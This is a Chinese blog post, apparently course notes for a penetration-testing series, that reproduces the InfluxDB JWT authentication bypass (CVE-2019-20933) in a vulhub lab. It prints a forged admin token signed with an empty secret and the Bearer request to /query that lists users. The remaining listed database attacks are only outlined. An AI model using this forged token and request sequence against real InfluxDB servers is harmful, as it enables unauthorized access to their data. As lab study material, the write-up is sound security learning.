第56天:服务攻防-数据库安全&H2&Elasticsearch&CouchDB&Influxdb复现

第56天:服务攻防-数据库安全&H2&Elasticsearch&CouchDB&Influxdb复现

#知识点:

1、服务攻防-数据库类型安全

2、influxdb-未授权访问-jwt 验证

3、H2database-未授权访问-配置不当

4、CouchDB-权限绕过配合 RCE-漏洞

5、ElasticSearch-文件写入&RCE-漏洞

#章节内容:

常见服务应用的安全测试:

1、配置不当-未授权访问

2、安全机制-特定安全漏洞

3、安全机制-弱口令爆破攻击

#前置知识:

应用服务安全测试流程:见图

1、判断服务开放情况-端口扫描&组合应用等

2、判断服务类型归属-数据库&文件传输&通讯等

3、判断服务利用方式-特定漏洞&未授权&弱口令等

一、influxdb-未授权访问-jwt 验证

什么是inluxdb?

inluxdb是一种数据库,与传统的mysql数据库相比,inluxdb更注重时间顺序的存储,一般适用于存储系统的监控数据

inluxdb的默认端口:8086 8088

漏洞复现:

Influxdb-未授权访问-Jwt 验证不当

vulhub地址:https://github.com/vulhub/vulhub/blob/master/influxdb/CVE-2019-20933/README.zh-cn.md
启动环境:
cd vulhub/influxdb/CVE-2019-20933
sudo docker-compose up -d

image-20231123231751464

漏洞利用:

  1. 首先判断8086端口是否开放
  2. 访问ip:8086/debug/vars看看漏洞是否存在

image-20231123232901125

  1. 请求地址:ip:8086/query
    用post提交sql语句,如:

    db=sample&q=show+users
    
  2. 利用jwt未授权绕过

    {
      "alg": "HS256",
      "typ": "JWT"
    }
    {
      "username": "admin",
      "exp": 1676346267
    }
    //这里的exp就是时间戳,要保证时间戳转化后的时间是未来的时间
    

    注意密钥这里要留空

    image-20231123234750033

    eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzMyNDYyOTY2fQ.nuBXeBeFqjN2h-0tiFLLw42g-HL7PgZ2h_zUkc2zdEs
    
  3. 抓取/query的数据包,用post请求方式,并添加一个请求头:

    Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzMyNDYyOTY2fQ.nuBXeBeFqjN2h-0tiFLLw42g-HL7PgZ2h_zUkc2zdEs
    //注意:bearer后面要留一个空格
    

    在底下添加键值对:

    db=sample&q=show+users
    

    image-20231124000350740

    可以看到访问到了

posted @ 2023-11-24 00:07  redfish999  阅读(26)  评论(0编辑  收藏  举报